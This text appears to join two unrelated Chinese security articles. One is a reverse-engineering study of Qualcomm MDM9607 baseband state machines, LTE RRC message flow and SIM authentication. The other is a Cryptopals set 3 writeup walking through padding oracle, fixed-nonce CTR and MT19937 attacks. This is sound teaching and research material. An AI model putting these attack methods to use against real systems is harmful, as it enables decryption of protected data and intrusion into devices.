LTE和5G NR系统上使用的第二代状态机消息系统，老的第一代状态机系统不在这里介绍了。
struct sm_state_instance{ //eg ,size 0x1c
struct sm_obj *sm;//状态机对象定义
unsigned int current_state_id;//状态机当前所处的状态id
unsigned int recvd_umid_in_sm_entity_seq;//offset 8, 状态机当前收到的umid所在状态机umid列表中的序列号
unsigned int instance_id;// 状态机实例编号
uint8 sm_state_lock;//offset 0x11 0->state unlock,1-> state lock 状态机锁的状态
void *stm_idle_buf;//offset 0x14 状态机操作可能需要的buf空间
unsigned int debug_code;//offset 0x18 状态机调试码
}
struct sm_obj{ //状态机的定义结构
struct msgr_stm_obj *stm;
unsigned char *stm_obj_name; //状态机的名称，例如LTE_RRC_SIB_SM
unsigned int stm_obj_name_hash; //状态机名称的hash值
unsigned int stm_inst_id;//stm instance id ，状态机的实例编号，状态机可能存在多个实例，通过这个编号来区别不同的状态机实体
}
struct msgr_stm_obj {
int instance_counts; //该状态机支持的实例个数
int state_cnts; //该状态机的状态数量
struct state_status_def *state_def;//状态机每个不同状态的定义的数据结构,size state_cnts*0x10
int umid_cnts;//状态机注册的可接受umid总数
struct umid_msg_list *umid_msg_def;//存储umid和umid描述信息的指针,size umid_cnts*8
struct umid_msg_states_func_cb_list *umid_in_state_cb;//存储着所有umid对应每个状态的回调操作函数
void *cb_func1;// stm enter //offset 0x18 ,进入该状态机的回调函数
void *cb_func2;// stm exit //offset 0x1c ,退出该状态机的回调函数
void *cb_func3;// stm error //offset 0x20 ,状态机出错的回调函数
void *cb_func4; //stm debug //offset 0x24 ,状态机调试的回调函数
unsigned int init_state_id; // default 0 ,状态机初始默认状态id
}
struct umid_msg_states_func_cb_list {//状态机在接受到相应的umid后的原语操作回调函数
void *umid_msg_in_states_1_cb_list[umid_cnts];
void *umid_msg_in_states_2_cb_list[umid_cnts];
void *umid_msg_in_states_3_cb_list[umid_cnts];
...
void *umid_msg_in_states_state_cnts_cb_list[umid_cnts];
}
struct state_status_def{//每个状态的定义
unsigned char *state_name; //状态名称，eg,active/inactive etc
void *cb_func1; //state enter //状态机进入该状态的回调函数
void *cb_func2; //state exit //状态机退出该状态的回调函数
void *cb_func3; //state debug ?//可能是调试函数
}
struct umid_msg_list{//状态机可接受的umid消息定义
unsigned char *umid_msg_name; //umid对应的描述名称
unsigned int umid; //umid
}
关键API描述
stm_instance_activate(struct sm_state_instance *sm_st_inst,uint32 inst_id,uint32 initial_state_id);//初始化状态机实例
stm_instance_process_input(uint32 state_id,struct sm_state_instance *sm_st_inst,uint32 sm_inst_id,uint32 umid_input,void *stm_payload_ptr);//对状态机接受到的umid和数据进行原语操作
我从MDM9607固件里面提取的详细的状态机信息可以在https://github.com/vessial/baseband/blob/master/lte_sm.log
进行查看。
3GPP定义的L3层的RRC(Radio Resource Control)的状态机是最为复杂的，高通在实现4G
LTE的RRC时使用了大量的状态机进行功能管理。 MDM9607 4G LTE RRC状态机类型如下:
state name: LTE_RRC_CSG_ASF_SM
state name: LTE_RRC_DT_SM //
state name: LTE_RRC_IRAT_TO_G_MGR_SM
state name: LTE_RRC_LLC_SM
state name: LTE_RRC_CAPABILITIES_SM
state name: LTE_RRC_IRAT_FROM_1X_MGR_SM
state name: LTE_RRC_SEC_SM //sim认证和密钥协商管理相关的状态机
state name: LTE_RRC_CRP_SM
state name: LTE_RRC_IRAT_FROM_DO_MGR_SM //负责从CDMA-EVDO切换到LTE的管理状态机
state name: LTE_RRC_IRAT_FROM_TDS_MGR_SM //负责从TDSCDMA切换到LTE的状态机
state name: LTE_RRC_PAGING_SM //寻呼管理的状态机
state name: LTE_RRC_CONFIG_SM
state name: LTE_RRC_MISC_SM
state name: LTE_RRC_MEAS_SM
state name: LTE_RRC_CEP_SM
state name: LTE_RRC_IRAT_TO_1X_MGR_SM
state name: LTE_RRC_IRAT_FROM_W_MGR_SM
state name: LTE_RRC_MDT_SM
state name: LTE_RRC_IRAT_TO_DO_MGR_SM
state name: LTE_RRC_CONTROLLER_SM //关键的LTE的控制状态机，控制服务的停止和开启
state name: LTE_RRC_IRAT_TO_TDS_MGR_SM
state name: LTE_RRC_IRAT_TO_W_MGR_SM //从LTE切换到WCDMA的管理状态机
state name: LTE_RRC_EMP_SM
state name: LTE_RRC_MH_SM
state name: LTE_RRC_UEINFO_SM //UE信息管理的状态机
state name: LTE_RRC_SIB_SM //系统信息块的管理状态机
state name: LTE_RRC_PLMN_SEARCH_SM //搜索网络使用的状态机
state name: LTE_RRC_IRAT_FROM_G_MGR_SM //从GSM切换到LTE的状态机
state name: LTE_RRC_CSP_SM //cell search plmn状态机
state name: LTE_RRC_ESMGR_SM // EMBMS管理状态机
state name: LTE_RRC_CRE_SM
我们拿LTE_RRC_PAGING_SM状态机定义作例子与之对应的数据结构作解析
LTE_RRC_PAGING_SM addr 0xd10b35e0
state machine name: LTE_RRC_PAGING_SM inst_cnts 1 total states 3 total umid 10
state name: INITIAL state enter 0xd0b923a8 state exit 0xd0b923c8 state debug 0x0
state name: IDLE_CAMPED state enter 0xd0b923e0 state exit 0xd0b92400 state debug 0x0
state name: CONNECTED state enter 0xd0b92418 state exit 0xd0b92450 state debug 0x0
0x040d140c LTE_RRC_CAMPED_INDI
0x040d0207 LTE_RRC_DRX_INFO_REQ
0x040d0206 LTE_RRC_SIM_UPDATE_REQ
0x040d0401 LTE_RRC_SERVICE_IND
0x040d0710 LTE_RRC_PAGING_DLM
0x040d1405 LTE_RRC_CONNECTED_INDI
0x040d022a LTE_RRC_MTC_CFG_REQ
0x040d1400 LTE_RRC_STOPPED_INDI
0x040d140b LTE_RRC_NOT_CAMPED_INDI
0x040d1402 LTE_RRC_SIB_UPDATED_INDI
下图为MDM9607 4G LTE_RRC的状态机图谱
#### 状态机操作实例
为了更直观的理解消息状态机的操作过程，我这里提供了一个例子来展示消息传递过程以及状态机的处理过程，这个过程是在基带处于IDLE状态下，没有接入任何移动通信网络，到基带一次接入4G
LTE网络到SIM认证的过程，这里只提供RRC的状态机的处理过程。
发送端 | 接受端 | 接受UMID号 | 处理状态机 | 描述信息 |
---|---|---|---|---|---
0xF19 emm | LTE_RRC | 0x40d0204 | LTE_RRC_CSP_SM | LTE_RRC_SERVICE_REQ |
0xF19 emm | LTE_RRC | 0x40d0204 | LTE_RRC_IRAT_FROM_W_MGR_SM |
LTE_RRC_SERVICE_REQ |
0xF19 emm | LTE_RRC | 0x40d0204 | LTE_RRC_IRAT_FROM_G_MGR_SM |
LTE_RRC_SERVICE_REQ |
0xF19 emm | LTE_RRC | 0x40d0204 | LTE_RRC_IRAT_FROM_TDS_MGR_SM |
LTE_RRC_SERVICE_REQ |
0x40d LTE_RRC | LTE_RRC | 0x40d1442 | LTE_RRC_MEAS_SM |
LTE_RRC_CLEAR_DEPRI_FREQ_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d120d | LTE_RRC_CONTROLLER_SM |
LTE_RRC_MODE_CHANGE_REQI |
0x40f LTE_MAC | LTE_RRC | 0x40f0803 | LTE_RRC_CONTROLLER_SM |
LTE_MAC_START_CNF |
0x412 LTE_RLCUL | LTE_RRC | 0x4120801 | LTE_RRC_CONTROLLER_SM |
LTE_RLCUL_START_CNF |
0x411 LTE_RLCDL | LTE_RRC | 0x4110801 | LTE_RRC_CONTROLLER_SM |
LTE_RLCDL_START_CNF |
0x413 LTE_PDCPDL | LTE_RRC | 0x4130806 | LTE_RRC_CONTROLLER_SM |
LTE_PDCPDL_START_CNF |
0x414 LTE_PDCPUL | LTE_RRC | 0x4140807 | LTE_RRC_CONTROLLER_SM |
LTE_PDCPUL_START_CNF |
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0801 | LTE_RRC_CONTROLLER_SM |
LTE_CPHY_START_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1513 | LTE_RRC_CSP_SM |
LTE_RRC_MODE_CHANGE_CNFI |
0x40d LTE_RRC | LTE_RRC | 0x40d1206 | LTE_RRC_LLC_SM | LTE_RRC_CFG_REQI |
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0809 | LTE_RRC_CSP_SM |
LTE_CPHY_SYSTEM_SCAN_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1206 | LTE_RRC_LLC_SM | LTE_RRC_CFG_REQI |
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0800 | LTE_RRC_CSP_SM | LTE_CPHY_ACQ_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1202 | LTE_RRC_SIB_SM | LTE_RRC_GET_SIBS_REQI |
0x403 LTE_ML1_DLM | LTE_RRC | 0x40c0402 | LTE_RRC_SIB_SM | LTE_CPHY_MIB_IND |
0x40F LTE_MAC | LTE_RRC | 0x40f0406 | LTE_RRC_SIB_SM |
LTE_MAC_RRC_BCCH_DL_DATA_IND | BCCH DL SCH SIB1
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0823 | LTE_RRC_SIB_SM |
LTE_CPHY_TDD_CFG_CNF |
0x40F LTE_MAC | LTE_RRC | 0x40f0406 | LTE_RRC_SIB_SM |
LTE_MAC_RRC_BCCH_DL_DATA_IND | BCCH DL SCH SI
0x40d LTE_RRC | LTE_RRC | 0x40d1514 | LTE_RRC_CSP_SM | LTE_RRC_GET_SIBS_CNFI |
0x40F LTE_MAC | LTE_RRC | 0x40f0406 | LTE_RRC_SIB_SM |
LTE_MAC_RRC_BCCH_DL_DATA_IND | BCCH DL SCH SIB1
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c080a | LTE_RRC_CSP_SM |
LTE_CPHY_CELL_SELECT_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1206 | LTE_RRC_LLC_SM | LTE_RRC_CFG_REQI |
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0804 | LTE_RRC_LLC_SM |
LTE_CPHY_COMMON_CFG_CNF |
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0805 | LTE_RRC_LLC_SM |
LTE_CPHY_DEDICATED_CFG_CNF |
0x40f LTE_MAC | LTE_RRC | 0x40f0801 | LTE_RRC_LLC_SM | LTE_MAC_CFG_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1516 | LTE_RRC_CSP_SM | LTE_RRC_CFG_CNFI |
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_SIB_SM | LTE_RRC_CAMPED_INDI |
inactive
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_SIB_SM | LTE_RRC_CAMPED_INDI |
active
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_MEAS_SM | LTE_RRC_CAMPED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_CAPABILITIES_SM |
LTE_RRC_CAMPED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_CEP_SM | LTE_RRC_CAMPED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d140c | LTE_RRC_MISC_SM | LTE_RRC_CAMPED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1516 | LTE_RRC_CONTROLLER_SM | LTE_RRC_CFG_CNFI
|
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_CSP_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_CEP_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_PAGING_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_MEAS_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_CSG_ASF_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_IRAT_TO_G_MGR_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40d1402 | LTE_RRC_IRAT_TO_TDS_MGR_SM |
LTE_RRC_SIB_UPDATED_INDI |
0x40d LTE_RRC | LTE_RRC | 0x40D0401 | LTE_RRC_CSG_ASF_SM | LTE_RRC_SERVICE_IND
|
0x40d LTE_RRC | LTE_RRC | 0x40D0401 | LTE_RRC_PAGING_SM | LTE_RRC_SERVICE_IND
|
0x40c LTE_ML1_MGR | LTE_RRC | 0x40c0815 | LTE_RRC_MEAS_SM |
LTE_CPHY_IDLE_MEAS_CFG_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d0225 | LTE_RRC_CSP_SM | LTE_RRC_AVOIDANCE_REQ |
0x40F LTE_MAC | LTE_RRC | 0x40f0406 | LTE_RRC_SIB_SM |
LTE_MAC_RRC_BCCH_DL_DATA_IND | SI
0x40d LTE_RRC | LTE_RRC | 0x40d1437 | LTE_RRC_CSP_SM |
LTE_RRC_INTERFREQ_LIST_UPDATE_INDI |
0xf19 EMM | LTE_RRC | 0x40d0200 | LTE_RRC_CEP_SM | LTE_RRC_CONN_EST_REQ |
Attach Request NAS msg
0x40d LTE_RRC | LTE_RRC | 0x40D1404 | LTE_RRC_CONTROLLER_SM |
LTE_RRC_CONN_ESTABLISHMENT_STARTED_INDI | RRC Connection Request
0x40d LTE_RRC | LTE_RRC | 0x40D143d | LTE_RRC_CONTROLLER_SM |
LTE_RRC_TRM_PRIORITY_CHANGE_INDI |
0xF19 EMM | LTE_RRC | 0x40d0206 | LTE_RRC_CONTROLLER_SM |
LTE_RRC_SIM_UPDATE_REQ |
0xF19 EMM | LTE_RRC | 0x40d0206 | LTE_RRC_PAGING_SM | LTE_RRC_SIM_UPDATE_REQ |
0xF19 EMM | LTE_RRC | 0x40d0206 | LTE_RRC_SEC_SM | LTE_RRC_SIM_UPDATE_REQ |
SIM Update Req received from NAS
0xF19 EMM | LTE_RRC | 0x40d0206 | LTE_RRC_CAPABILITIES_SM |
LTE_RRC_SIM_UPDATE_REQ |
0x404 LTE_ML1_ULM | LTE_RRC | 0x40c0421 | LTE_RRC_CEP_SM |
LTE_CPHY_RACH_MSG1_SCHED_IND | LTE MAC RACH Attempt
0x40f LTE_MAC | LTE_RRC | 0x40f0800 | LTE_RRC_CEP_SM | LTE_MAC_ACCESS_CNF |
0x40f LTE_MAC | LTE_RRC | 0x40f0405 | LTE_RRC_MH_SM |
LTE_MAC_RRC_CCCH_DL_DATA_IND | CCCH RRC Connection Setup
0x40d LTE_RRC | LTE_RRC | 0x40d0703 | LTE_RRC_CEP_SM |
LTE_RRC_RRC_CONNECTION_SETUP_DLM | CCCH RRC Connection Setup
0x40d LTE_RRC | LTE_RRC | 0x40d1206 | LTE_RRC_LLC_SM | LTE_RRC_CFG_REQI |
0x40d LTE_RRC | LTE_RRC | 0x40D1408 | LTE_RRC_CSP_SM |
LTE_RRC_PROCEED_WITH_RESEL_INDI |
0x411 LTE_RLCDL | LTE_RRC | 0x4110800 | LTE_RRC_LLC_SM | LTE_RLCDL_CFG_CNF |
0x412 LTE_RLCUL | LTE_RRC | 0x4120800 | LTE_RRC_LLC_SM | LTE_RLCUL_CFG_CNF |
0x413 LTE_PDCPDL | LTE_RRC | 0x4130800 | LTE_RRC_LLC_SM | LTE_PDCPDL_CFG_CNF |
0x414 LTE_PDCPUL | LTE_RRC | 0x4140800 | LTE_RRC_LLC_SM | LTE_PDCPUL_CFG_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1516 | LTE_RRC_CEP_SM | LTE_RRC_CFG_CNFI |
0x40d LTE_RRC | LTE_RRC | 0x40d1200 | LTE_RRC_MH_SM | LTE_RRC_SEND_UL_MSG_REQI
|
0x40d LTE_RRC | LTE_RRC | 0x40d1405 | LTE_RRC_SIB_SM | LTE_RRC_CONNECTED_INDI
|
| | | | |
0x414 LTE_PDCPUL | LTE_RRC | 0x4140802 | LTE_RRC_MH_SM | LTE_PDCPUL_SDU_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1504 | LTE_RRC_CEP_SM |
LTE_RRC_RRC_CONNECTION_SETUP_COMPLETE_CNFI | UL_DCCH RRC connection Setup
Complete
0x413 LTE_PDCPDL | LTE_RRC | 0x4130400 | LTE_RRC_MH_SM | LTE_PDCPDL_SDU_IND |
DL_DCCH info Transfer
0x40d LTE_RRC | LTE_RRC | 0x40d0705 | LTE_RRC_DT_SM |
LTE_RRC_DL_INFORMATION_TRANSFER_DLM | DL_DCCH Auth Request Msg recvd
0x40d LTE_RRC | LTE_RRC | 0x40d141f | LTE_RRC_MH_SM |
LTE_RRC_DLM_PROCESSED_INDI |
0xF19 EMM | LTE_RRC | 0x40d0201 | LTE_RRC_DT_SM | LTE_RRC_UL_DATA_REQ | send
Auth Resp data
0x40d LTE_RRC | LTE_RRC | 0x40d1200 | LTE_RRC_MH_SM | LTE_RRC_SEND_UL_MSG_REQI
| UL_DCCH ULinfo Transfer send NAS Auth resp
0x414 LTE_PDCPUL | LTE_RRC | 0x4140802 | LTE_RRC_MH_SM | LTE_PDCPUL_SDU_CNF |
0x40d LTE_RRC | LTE_RRC | 0x40d1509 | LTE_RRC_DT_SM |
LTE_RRC_UL_INFORMATION_TRANSFER_CNFI |
DL_DCCH的Information Transfer字段里面包含了来自MME发送过来的认证请求数据(LTE NAS EMM信令消息id
0x52)，包含有nas key set id, 16个字节的认证随机数据auth_param rand，以及16个字节的auth param
AUTN数据，SIM卡通过收到的这两个关键信息进行认证， 并计算生成Auth_resp发送给MME进行比较完成本地端和服务器端的认证，本地端计算如下。
本地端收到的rand(16bytes)+AUTN(16bytes)
K为sim卡和MME都持有的sim卡的唯一隐私数据，sim卡端只有sim卡芯片可以读取。
SIM卡端密钥派生认证过程，f1/2/3/4/5为sim卡的计算功能函数
AK=f5(K,rand)
IK=f4(K,rand)
CK=f3(K,rand)
RES=f2(K,rand) //计算给MME进行认证SIM卡的数据
SQN=AUTN^AK (6bytes)
AMF=AUTN[6:8]
MAC=f1(K,SQN,rand,AMF)
SIM卡端认证MME端过程
sim_autn=SQN^AK(6bytes)+AMF(2bytes)+MAC(8bytes)
比较MME发过来的AUTN和sim_autn ，相等则认为MME合法。
基带把sim卡计算得到的RES通过LTE NAS EMM
信令消息号0x53包裹到UL_DCCH的InformationTransfer字段里面发给基站进而到MME进行认证。
MME认证SIM卡的过程就比较简单了， MME端计算XRES=f2(K,rand)，然后比较收到的RES，相等表示MME认证SIM卡成功，至此认证完成。
由于上述操作涉及EMM和RRC之间的交互过程比较复杂，这里只是简单提一下，EMM的状态机会在下一篇文章里面单独详细介绍。
## 结语
由于从全球公开的信息渠道中并不能获取高通基带系统的深入信息，所以花费1年多的时间通过对底层操作系统和上层3GPP实现的业务系统进行深度逆向工程，这篇文章只是系统性的介绍了高通4/5G基带系统的消息机制和消息状态机，我认为这是一个关键的架构设计，梳理清楚其消息架构对于理解3GPP实现的消息原语操作以及对移动通信技术的多模分层设计有非常大的帮助，该消息系统架构设计具有非常好的扩展性，可以很灵活的增加新的功能到该消息框架中去，可以很好的减少系统测试成本，有很多设计理念值得学习和借鉴，由于现今高通5G基带所支持的UMID操作数高达2万多个，所以这里的展示的例子只是揭示了状态机功能操作的冰山一角，后续会持续研究对于状态机安全漏洞的挖掘研究，实现高效的5G安全测试体系，通过对基带系统的深刻认知，可以更好的对基站系统和核心网系统进行安全评估。
最后行文仓促，如有错误，欢迎反馈指正，预告下一章节将会介绍高通基带系统的A2/IPA硬件IP加速功能模块。
* * * | 社区文章 |
# 玩转密码学——Cryptopals题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
cryptopals是一套专注于密码学领域的攻防挑战题目。国内上海交大的GoSSIP小组曾分享set1和set2的writeup(https://loccs.sjtu.edu.cn/gossip/blog/2018/12/05/the-cryptopals-crypto-challenges-1/)不同于通过上课或者看书的方式学习密码学，这些题目来自于现在生活中一些软件系统和密码构造中的缺陷。本文将带来set3的writeup。
每一个题的wp基本是采用如下结构：题目解释、相关知识点讲解、代码实现及解释，运行测试。代码均采用python3实现,代码实现部分是参考国外大佬ricpacca的，结合自己的理解及成文需要进行部分修改。
第三套一共有八关。
这8个题目是关于分组密码学的，难度中等，包括针对CBC模式的典型攻击，针对RNG的cloning攻击等等。
接下来一一解决。
## 0x01
17题
这是针对分组密码学最著名的攻击手段
要求实现两个功能，一个功能从给出的10个字符串中随机选择一个，随机生成AES密钥，并进行填充，使用CBC模式进行加密。在需要时可以提供密文和IV
第二个功能则是解密密文，检查明文的填充是否有效，并以此返回true或者false
我们的目标是能够解密密文，这里解密依靠的是侧信道泄露，泄露的信息是判断解密后的明文的填充是否有效。
关于Padding Oracle
Attack的介绍文章实在太多了，国内打CTF几年前就玩烂了，为了保持本系列的完整性，这里还是稍微展开介绍。如果有不清楚的地方，可以参考这篇文章，国内外很多文章都是参考它的:https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
关于这种攻击手段，有两块前置知识。一块是关于分组密码的填充，填充标准常用有的pkcs#5,pkcs#7，这在之前的文章中我们已经介绍过了。要注意的一点就是，在本次的攻击手段中就是通过判断得到的明文的填充是否符合标准，从而判断其是否有可能为正确的明文。
另一块就是CBC的加解密模式，我们之前也提过，不过这次的关注点不同。这里再次给出下图
这里注意到，以解密过程为例。
密文cipher不是解密后立刻得到明文的。
而是密文首先进行一系列处理，如图中的Block Cipher Decryption，我们将处理后的值称为intermediary
value中间值，然后中间值与我们输入的iv进行异或操作，得到的即为明文。在解密下一分组时，第一个分组的密文则作为下一分组解密时的IV来使用，在第二个分组处理得到中间值后，与其异或得到第二个分组的明文，以此类推。
接下来我们举个例子。
假设已经知道中间值：0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x3d
原始的IV:0x6d 0x36 0x70 0x76 0x03 0x6e 0x22 0x39
两者异或后就可以得到明文：T E S T 0x04 0x04 0x04 0x04
但对于攻击者而言，攻击者只有正确的IV，但不知道中间值和正确解密得到的明文的。攻击者要做的就是，对IV进行暴力测试，与未知的中间值异或后，得到明文，如果明文的是按照标准填充的，则说明这一轮测试的Iv是有效的。
攻击者接下来会暴力测试IV：
从最后一位开始
第一轮的IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
与中间值异或得到明文
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x3d
可是最后一位Padding的字节是0x3d，明显说明这是不合法的padding，继续推理，可知这一轮的IV是不合法的，于是继续测试，直到某一轮：
IV:0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3c
与中间值异或得到明文:
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x01
程序校验最后一位，发现是0x01，即可通过校验.
有公式：
Middle[8]^暴力测试的iv[8] = 0x01
所以middle[8]=暴力测试的iv[8] ^0x01
又因为Middle[8]^原始的iv[8] = 真正的plain[8]
所以真正的plain[8]=暴力测试的iv[8] ^0x01^原始的iv[8]
在我们的例子中，真正的plain[8]=0x01^0x3c^0x39=0x04（和我们正常解密得到的明文分组第8字节相符)）
还可以得到middle[8]=原始的iv[8] ^真正的plain[8]=0x39^0x04=0x3d,这个值在下一轮会用到
接下来我们继续暴力测试IV,以期得到plain[7]
此时暴力测试iv时，需要注意，我们这次希望解密得到的明文末尾两字节是0x02
先看第8个字节
由于：iv[8]^middle[8]=0x02
所以iv[8]=middle[8]^0x02=0x3d^0x02=0x3f
然后固定iv[8]，去暴力测试Iv[7]，直到得到的明文分组的最后两字节是0x02 0x02即可
暴力测试到这时：
Iv：0x00 0x00 0x00 0x00 0x00 0x00 0x24 0x3f
Middle：
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x3d
明文：0x39 0x73 0x23 0x22 0x07 0x6a 0x02 0x02
于是可以得到plain[7]=暴力测试的iv[7]
^0x02^原始的iv[7]=0x02^0x22^0x24=0x04(和我们正常解密得到的明文分组第7字节相符)
依次类推，即可解得明文
有了思路，代码就不难写了
先是按照题目要求，定义两个函数，分别用于加密和解密以及校验padding是否合法，这些功能在以前的题目题目中代码实现过，可以直接饮用
暴力测试IV,使得得到的IV能够有效解密密文，得到的明文符合填充标准
通过上面函数生成的IV，不断循环测试，一个个分组分别解密，得到明文
完整代码及测试结果如下
打印的结果是随机选择的密文解密后的明文
## 0x02
18题
要求我们实现CTR模式。并针对给出的例子进行测试。
CTR模式是常见分组密码工作模式中的一种，其全称是CounTeR模式（计数器模式）。CTR模式是一种将逐次累加的计数器进行加密来生成密钥流的流密码
CTR模式中，每个分组对应一个逐次累加的计数器，并通过对计数器进行加密来生成密钥流。也就是说，最终的密文分组是通过将计数器加密得到的比特序列，与明文分组进行xor而得到的。
加密图示如下
解密图示如下
从解密图示中我们可以看到，解密时只需要生成相同的密钥流，再异或就可以得到明文了。所以我们在写代码时，写一个函数就可以了
这里需要注意计数器的生成方法
每次加密时都会生成一个不同的值（nonce）来作为计数器的初始值
以分组长度为16字节为例，计数器的初值可能为：
前8个字节为nonce，这个值每次加密时都不同。后8字节为分组序号，这个部分会逐次累加。加密过程中，计数器的值可能会如下变化
这样就可以保证计数器的值每次都是不同的，因为对其加密得到的密钥流也是不同的。我们就是用分组密码来模拟生成的比特序列。
代码实现很简单，关键的函数就一个，用于实现AES-CTR模式加解密
完整代码及测试如下
在main中首先是对给出的密文进行解密。然后又任意给了一个例子，对其加密、解密进行测试。
从结果可以看到，成功实现了AES-CTR模式。
## 0x03
第19题
题目要求我们先对给出的40行经过base64编码的明文进行AES-CTR加密。这是为了模拟在某些情况下，在对大量的密文进行加密时，nonce并不会每次都是随机变化的，可能在加密时使用的是相同的密钥流。
而攻击者在解密时，会假设大量的密文都是使用相同的密钥流与明文异或得到。这样，我们就可以将可能的密钥流的每个字节分别通过循环，与密文异或，通过计算得到的明文，根据其分值，得到最可能的密钥流。然后在根据得到的密钥流进行解密即可。
这种方法可以得到大部分正确的明文，不过还是有些明文会解密错误。原因后续在分析代码时再解释。
总之通过这道题目我们可以学会：在大量的密文使用相同的nonce加密时，如何对其攻击得到明文。
写一个通过计算明文中的字母频率累加值来得到密钥流的函数
以及攻击的函数
红色框起来的部分，就是我之前提到为什么会有少部分明文解密失败的原因。
这里在调用获取密钥流的函数get_keystream_byte时，传入的column作为data参数，而column是从每行密文中综合得到的，而每行密文长度不一，所以在计算时column作为data参数并不十分精确。
这一点我们待会儿测试时可以验证。
在main中打印使用这种攻击手段破解的明文和原明文
全部代码及测试如下
上一行是攻击得到的明文，下一行是原始明文，如我们分析的一样，两者是有些差别的，不过差别不大，基本可以辨认。
## 0x04
第20题
题目给出一个文件，文件里还是base64编码过的明文，要求我们对其进行AES-CTR加密，之后对其模拟攻击，进行解密。这里所谓的”statistically”，指的是利用统计学的方法，其实我们在上一题中就是用这种办法攻击的。”统计学的方法“体现在两个方面，一方面是在取密文传入get_keystream_byte时，所有的密文都参与了；一方面是在get_keystream_byte本身而言，计算每次得到的明文的数值就是用的统计学的方法，根据频率将明文的每个字母加入运算得到最终的数值。
所以本题的代码没有特别的地方，我们直接看全部代码及测试结果：
## 0x05
第21题
题目要求我们实现MT19937，它是Mersenne Twister的一种变体，可以产生32位整数序列
梅森旋转算法（Mersenne
twister）是一个伪随机数发生算法。由松本真和西村拓士在1997年开发，基于有限二进制字段上的矩阵线性递归F。可以快速产生高质量的伪随机数，修正了古典随机数发生算法的很多缺陷。
Mersenne
Twister这个名字来自周期长度取自梅森素数的这样一个事实。这个算法通常使用两个相近的变体，不同之处在于使用了不同的梅森素数。一个更新的和更常用的是MT19937,
32位字长。还有一个变种是64位版的MT19937-64。对于一个k位的长度，Mersenne Twister会在
[0,2^{k}-1]的区间之间生成离散型均匀分布的随机数。
MT19937的优点包括：
1.周期非常长，达到2^19937−1。尽管如此长的周期并不必然意味着高质量的伪随机数，但短周期（比如许多旧版本软件包提供的2^32）确实会带来许多问题。
2\. 在1 ≤ k ≤ 623的维度之间都可以均等分布。
3.除了在统计学意义上的不正确的随机数生成器以外，在所有伪随机数生成器法中是最快的（就算法提出时而言）
后面几题都是与随机数相关的题目，所以这里关于随机数再说明一下：
随机数在许多领域中都有着大量应用，例如密码学，游戏，数学统计。随机数主要分两类，分别是确定性随机数和非确定性随机数。非确定性随机数也可称为真随机数（True
Random Number Generator,
TRNG），主要来源于不可预测的物理或者化学熵源，例如电路噪声。真随机数发生器产生的随机数质量十分高，是最理想的随机数来源，但是由于产生的速度太慢，无法满足目前的信息的传输速度，因此目前确定性随机数依然被广泛使用。确定性随机数发生器也称作伪随机数发生器（Pseudorandom
Number Generator，PRNG）,它一般是一个随机数生成算法，由于算法是固定的，因此生成的随机数存在许多诸如可预测，质量不高的缺点。
回到题目，题目提示我们可以在维基百科上找到伪代码，如下图所示
另外，题目告诉我们使用python，ruby，php等语言，已经内置实现了MT19937,而题目要求我们手动实现。
在实现时会用到一些数据，我们先给出
梅森旋转算法实际使用的是旋转的广义反馈移位寄存器（Twisted Generalized Feedback Shift
Register,GFSR），它主要分初始化，旋转生成随机数以及Xorshift后期处理三个步骤。由于MT19937的梅森算法中生成的随机数为32位，因此算法需要624个32位长的状态。在初始化阶段，即下图的init,工作是将我们获得的随机种子经处理填充到所有的624个状态中
函数将输入的随机种子赋值给第0个状态，剩余的623个状态则用前一状态值的一系列操作进行赋值更新。当执行完这一算法后，全部的624个状态已经填充完毕，之后梅森算法便可以不断地生成伪随机数。
接着是旋转生成随机数
MT19937标准中定义A的值为0x9908B0DF。这部分是进行旋转操作。每生成624个伪随机数后，将执行一次上面的函数，重新更新624个状态，为生成下一批624个伪随机数做准备。
之后是第三步后期处理，每个状态都需要经过Xorshift操作以后才能成为最终输出的伪随机数，由于其中几乎都是移位，因此对CPU来说处理起来非常快。
完整的代码及测试如下
